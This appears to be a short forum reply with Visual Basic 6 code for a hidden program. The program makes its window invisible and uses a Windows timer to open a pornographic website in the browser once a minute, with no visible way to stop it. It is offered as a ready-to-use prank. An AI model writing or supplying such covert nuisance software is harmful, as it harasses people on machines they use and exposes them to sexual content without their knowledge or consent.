it would be pretty simple.. something like

VB Code:
  1. 'Form Code
  2. Private Sub Form_Load()
  3.     Me.Visible = False
  4.     SetTimer Me.hwnd, 0, 60000, AddressOf TimerProc 'once per minute
  5. End Sub
  6.    
  7.  
  8. Private Sub Form_Unload(Cancel As Integer)
  9.     KillTimer Me.hwnd, 0
  10. End Sub
  11.  
  12. 'Module Code
  13. Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
  14. Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
  15. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  16. Private Const SW_SHOWNORMAL = 1
  17.  
  18. Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
  19.     ShellExecute hwnd, vbNullString, "www.pornsite.com", vbNullString, vbNullString, SW_SHOWNORMAL
  20. End Sub